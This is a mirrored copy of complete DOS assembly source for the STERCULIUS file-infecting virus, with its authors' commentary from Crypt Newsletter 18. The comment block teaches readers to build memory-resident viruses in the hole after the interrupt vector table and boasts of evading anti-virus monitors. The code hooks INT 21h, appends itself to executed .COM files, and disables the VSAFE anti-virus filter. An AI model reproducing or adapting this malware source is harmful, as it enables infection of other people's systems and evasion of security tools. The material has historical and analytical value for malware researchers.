mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
422 lines
12 KiB
NASM
422 lines
12 KiB
NASM
|
comment $
|
|||
|
|
|||
|
STERCULIUS virus: copying a virus into the air in the interrupt
|
|||
|
vector table - for CRYPT NEWSLETTER 18.
|
|||
|
|
|||
|
The STERCULIUS virus uses the 'hole' in DOS's memory that is
|
|||
|
found after the interrupt vector table located at 0000:0000 in memory.
|
|||
|
This hole in memory is unused much of the time and is filled with
|
|||
|
'00''s, or "air", starting at 0000:01E0.
|
|||
|
|
|||
|
Using the MS-DOS program DEBUG we can take a quick look at this
|
|||
|
empty space by typing the command:
|
|||
|
|
|||
|
DEBUG
|
|||
|
d 0000:01e0
|
|||
|
|
|||
|
And we see:
|
|||
|
|
|||
|
0000:01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:0200 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:0210 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:0220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:0230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:0240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
0000:0250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
|||
|
|
|||
|
Not much of anything!
|
|||
|
|
|||
|
The LoveChild virus uses the same space and if it were present
|
|||
|
in memory (not likely, as it barely works under DOS 3.3),
|
|||
|
you'd see something like "v2 LoveChild in reward for software
|
|||
|
sealing [sic]" or some similar gibber in the above display.
|
|||
|
|
|||
|
Sterculius copies itself to segment:offset 0000:01E0 in memory,
|
|||
|
right next to the end of the data in the interrupt vector table,
|
|||
|
like LoveChild and if we fire up DEBUG again once the virus
|
|||
|
is in memory:
|
|||
|
|
|||
|
0000:01E0 E8 0A 00 53 54 45 52 43-55 4C 49 55 53 5E 83 EE ...STERCULIUS^..
|
|||
|
0000:01F0 03 56 FC 83 C6 55 90 BF-00 01 A5 A5 5E 33 C0 8E .V...U......^3..
|
|||
|
0000:0200 C0 BF E0 01 26 81 7D 03-53 54 74 1E B9 08 01 90 ....&.}.STt.....
|
|||
|
0000:0210 F3 A4 BE 84 00 8E D8 A5-A5 BF E0 01 83 C7 63 90 ..............c.
|
|||
|
0000:0220 FA 89 7C FC 89 44 FE FB-0E 1F 0E 07 BE 00 01 56 ..|..D.........V
|
|||
|
0000:0230 C3 E9 00 00 53 4D 5A 63-01 9C 2E FF 1E E8 02 C3 ....SMZc........
|
|||
|
0000:0240 E9 A4 00 80 FC 4B 75 F8-50 53 51 52 1E 06 56 57 .....Ku.PSQR..VW
|
|||
|
0000:0250 55 9C B8 00 43 E8 E1 FF-51 1E 52 33 C9 B8 01 43 U...C...Q.R3...C
|
|||
|
|
|||
|
Four!
|
|||
|
|
|||
|
Without the marker, "STERCULIUS," the virus would be difficult
|
|||
|
for the user to see in memory for a couple of reasons:
|
|||
|
|
|||
|
1) Very few people actually know what system memory in the interrupt
|
|||
|
table looks like normally,
|
|||
|
|
|||
|
2) It is not a place any of the current memory spies tell you to look for
|
|||
|
viruses.
|
|||
|
|
|||
|
IF you scan up the rest of the table you will see the remainder of the
|
|||
|
virus and about once again as much free space left.
|
|||
|
That means you can fit about a 300+ byte virus into this space, plenty
|
|||
|
of room for lots of extra code.
|
|||
|
|
|||
|
If you look again at the DEBUG dump you will see "MZ" -
|
|||
|
that is DEBUG's EXEfile identifier - the first word Sterculius pulls off of
|
|||
|
any executed program to check if it's a suitable candidate for infection.
|
|||
|
|
|||
|
Sterculius stores the word and in the case of DEBUG, lets the program pass by.
|
|||
|
If a .COMfile had just been loaded, the original program's jump would
|
|||
|
be occupying that space.
|
|||
|
|
|||
|
Clear?
|
|||
|
Now you can follow this example to make memory resident viruses that occupy
|
|||
|
that 'hole' in memory next to the interrupt vector table.
|
|||
|
|
|||
|
Viruses using this method of residence aren't detected by
|
|||
|
98% of the anti-virus guards - or virus filters - specifically designed
|
|||
|
to detect programs which go resident. This is odd, since the technique
|
|||
|
isn't particularly new. However, one or two anti-virus manufacturers
|
|||
|
have taken steps in this direction, coding their memory filters so
|
|||
|
that some of their code occupies the same general area that a virus
|
|||
|
like STERCULIUS might use. Then again, these developers have to
|
|||
|
deal with users who may have memory management drivers which muck
|
|||
|
about in the same space. You see, there are always trade-offs
|
|||
|
in this kind of work.
|
|||
|
|
|||
|
Try STERCULIUS with Central Point, Microsoft Anti-virus, something dumb
|
|||
|
like INVIRCBLE, or just about any TYPICAL resident monitor.
|
|||
|
STERCULIUS also contains the "casual" anti-anti-virus measure, VSLAY,
|
|||
|
which will under optimum conditions, deinstall the Microsoft Anti-virus
|
|||
|
resident filter.
|
|||
|
|
|||
|
Interesting!
|
|||
|
|
|||
|
Many lazy people have grown fond of McAfee Associates PROVIEW, too.
|
|||
|
It's good for checking up on viruses in memory because it puts a
|
|||
|
big <UNKNOWN> message on the screen when a virus is taking up space at
|
|||
|
the top of conventional RAM.
|
|||
|
|
|||
|
You won't see STERCULIUS using this technique, nor will a look at where
|
|||
|
INT 21 is pointing under PROVIEW tell the dilettante much.
|
|||
|
|
|||
|
Proview will show you the interrupt is still pointing into the table, where
|
|||
|
it belongs.
|
|||
|
You'll have to look close to see that the original address has changed!
|
|||
|
|
|||
|
STERCULIUS has been tested under QEMM 7.0 and QEMM 6.0 but there is
|
|||
|
always the probability that it will crash on other multi-tasking systems
|
|||
|
which use other memory managers.
|
|||
|
|
|||
|
|
|||
|
Often, you see, they use the space where STERCULIUS resides.
|
|||
|
|
|||
|
If this is the case, they system will hang when STERCULIUS invades it.
|
|||
|
You can alter this behavior by looking at the interrupt vector table on your
|
|||
|
system and altering where STERCULIUS copies itself into memory by moving
|
|||
|
the virus up in RAM.
|
|||
|
|
|||
|
Also, this method of residency has an indirect benefit.
|
|||
|
STERCULIUS can't be properly DEBUGGED by ZD86 because they conflict
|
|||
|
over the same memory space.
|
|||
|
|
|||
|
STERCULIUS infects COMMAND.COM quite easily and doesn't interfere
|
|||
|
with boot up. However, since COMMAND.COM overwrites the space
|
|||
|
STERCULIUS is using at boot time, the virus is expunged from memory
|
|||
|
on completion of system installation. Shelling anytime thereafter
|
|||
|
reinstalls the virus. Reloading the transient portion of COMMAND.COM
|
|||
|
doesn't interfere with the virus either.
|
|||
|
|
|||
|
|
|||
|
$
|
|||
|
|
|||
|
;**************************************
|
|||
|
; STERCULIUS VIRUS
|
|||
|
;
|
|||
|
; AUTHORS: K<>hntark / Urnst Kouch
|
|||
|
; DATE: SEPTEMBER 1993
|
|||
|
;
|
|||
|
;**************************************
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
|
|||
|
START:
|
|||
|
db 0E9h,03,00,'S' ;Jump to Virus_Entry
|
|||
|
|
|||
|
FAKE_HOST:
|
|||
|
int 20h ;host file terminate
|
|||
|
|
|||
|
|
|||
|
VIRUS_ENTRY:
|
|||
|
|
|||
|
call INITIALIZE
|
|||
|
|
|||
|
ID: db 'STERCULIUS' ;The Roman god of feces
|
|||
|
;intellectual property of Mike
|
|||
|
INITIALIZE: ;Judge, sort of, and if this
|
|||
|
pop si ;means nothing to you, then you're
|
|||
|
sub si,3 ;not paying attention
|
|||
|
|
|||
|
;*****************
|
|||
|
; Restore host
|
|||
|
;*****************
|
|||
|
|
|||
|
push si
|
|||
|
cld
|
|||
|
add si,OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
|||
|
mov di,0100h
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
pop si
|
|||
|
|
|||
|
;***************************
|
|||
|
; Remove MSAV / CPAV VSAFE ;<---VSLAY, Crypt Newsletter 15 [ref]
|
|||
|
;***************************
|
|||
|
|
|||
|
mov dx,5945h
|
|||
|
mov ax,0FA01h ;AL=01 very important!
|
|||
|
int 21h
|
|||
|
|
|||
|
;***************************
|
|||
|
; Check if already resident
|
|||
|
;***************************
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
mov di,01E0h
|
|||
|
cmp WORD PTR es:[di + 3],'TS'
|
|||
|
je EXIT
|
|||
|
|
|||
|
mov cx,ZIZE
|
|||
|
rep movsb ;move virus to 0000:01E0 from ds:si
|
|||
|
|
|||
|
;***********************
|
|||
|
; Mov INT 21 address
|
|||
|
;***********************
|
|||
|
|
|||
|
mov si,21h * 4
|
|||
|
mov ds,ax ;ds=0
|
|||
|
movsw ;from ds:si to es:di
|
|||
|
movsw
|
|||
|
|
|||
|
;***********************
|
|||
|
; Hook INT 21
|
|||
|
;***********************
|
|||
|
|
|||
|
mov di,01E0h
|
|||
|
add di,OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
|
|||
|
cli ;disable interrupts
|
|||
|
mov WORD PTR [si - 4],di ;address of INT 21 handler
|
|||
|
mov WORD PTR [si - 2],ax
|
|||
|
sti ;enable interrupts
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
EXIT: push cs
|
|||
|
pop es
|
|||
|
mov si,0100h
|
|||
|
push si
|
|||
|
;push 0100h ;386 code left out
|
|||
|
ret ;return to host
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
NEW_HOST_ENTRY:
|
|||
|
db 0E9h,00,00,'S'
|
|||
|
|
|||
|
HOST_STUB:
|
|||
|
db 090h,090h,090h,090h ;nops
|
|||
|
|
|||
|
INT_21:
|
|||
|
pushf
|
|||
|
call DWORD PTR cs:[REALL_INT_21]
|
|||
|
ret
|
|||
|
|
|||
|
QUICK_EXIT: jmp QUICK_OUT
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
INT_21_HANDLER:
|
|||
|
|
|||
|
cmp ah,4Bh ;execute a file?
|
|||
|
jne QUICK_EXIT ;quick exit handler
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
pushf
|
|||
|
|
|||
|
;***********************
|
|||
|
; Save Attributes
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,4300h
|
|||
|
call INT_21
|
|||
|
jc SKIP
|
|||
|
push cx ;save attributes to stack
|
|||
|
push ds
|
|||
|
push dx ;ds:dx = pathname to file
|
|||
|
|
|||
|
|
|||
|
;***********************
|
|||
|
; Klear Attributes
|
|||
|
;***********************
|
|||
|
|
|||
|
xor cx,cx
|
|||
|
mov ax,4301h
|
|||
|
call INT_21
|
|||
|
SKIP: jc RESTORE_ATTRIBUTES
|
|||
|
|
|||
|
;***********************
|
|||
|
; Open File
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,3D02h
|
|||
|
call INT_21
|
|||
|
jc RESTORE_ATTRIBUTES
|
|||
|
xchg bx,ax ;file handle to bx
|
|||
|
|
|||
|
;***********************
|
|||
|
; Save Date & time
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,5700h
|
|||
|
call INT_21
|
|||
|
push dx ;save date
|
|||
|
push cx ;save time
|
|||
|
|
|||
|
;***********************
|
|||
|
; Read 4 bytes
|
|||
|
;***********************
|
|||
|
|
|||
|
mov cx,04 ;# of bytes to read
|
|||
|
mov dx,HOST_STUBB ;buffer to read 4 bytes to
|
|||
|
mov si,dx
|
|||
|
mov ah,3Fh
|
|||
|
push cs
|
|||
|
pop ds ;ds=cs
|
|||
|
call INT_21 ;read to ds:dx
|
|||
|
jc CLOSE_FILE
|
|||
|
|
|||
|
;***********************
|
|||
|
; Check File
|
|||
|
;***********************
|
|||
|
|
|||
|
cmp WORD PTR [si],'ZM' ;EXE file?
|
|||
|
je CLOSE_FILE
|
|||
|
cmp BYTE PTR [si + 3],'S' ;infected COM file?
|
|||
|
je CLOSE_FILE
|
|||
|
|
|||
|
;***********************
|
|||
|
; File PTR @EOF
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,4202h
|
|||
|
xor cx,cx
|
|||
|
cwd ;cx = dx = 00
|
|||
|
call INT_21
|
|||
|
|
|||
|
sub ax,03 ;fix file size
|
|||
|
xchg bp,ax ;address to jump to
|
|||
|
|
|||
|
add ax,ZIZE ;file + VIRUS SIZE > 64K?
|
|||
|
jc CLOSE_FILE ;exit if so
|
|||
|
|
|||
|
;***********************
|
|||
|
; Write Virus
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ah,40h
|
|||
|
mov cx,ZIZE ;cx = #of bytes
|
|||
|
mov dx,01E0h ;dx = write from here
|
|||
|
call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; Set PTR @BOF
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx
|
|||
|
cwd ;cx = dx = 00
|
|||
|
call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; Write new jump
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ah,40h
|
|||
|
mov cx,4 ; # of bytes to write
|
|||
|
mov dx,NEW_HOST_ENTRYY ;dx = write from here
|
|||
|
mov si,dx
|
|||
|
|
|||
|
mov WORD PTR [si + 1],bp ;insert new address
|
|||
|
call INT_21
|
|||
|
|
|||
|
CLOSE_FILE:
|
|||
|
|
|||
|
;***********************
|
|||
|
; Restore Date & time
|
|||
|
;***********************
|
|||
|
|
|||
|
pop cx ;restore time
|
|||
|
pop dx ;restore date
|
|||
|
mov ax,5701h
|
|||
|
call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; Klose File
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ah,3Eh
|
|||
|
call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; Restore Attributes
|
|||
|
;***********************
|
|||
|
|
|||
|
RESTORE_ATTRIBUTES:
|
|||
|
|
|||
|
mov ax,4301h
|
|||
|
pop dx ;ds:dx = pathname to file
|
|||
|
pop ds ;restore pathname
|
|||
|
pop cx ;restore old attributes
|
|||
|
call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; Restore registers
|
|||
|
;***********************
|
|||
|
|
|||
|
EXIT_HANDLER:
|
|||
|
popf
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
|
|||
|
END_VIRUS:
|
|||
|
REAL_INT_21:
|
|||
|
|
|||
|
|
|||
|
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
|
|||
|
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
|
|||
|
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
|||
|
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
|
|||
|
|
|||
|
END START
|
|||
|
|
|||
|
|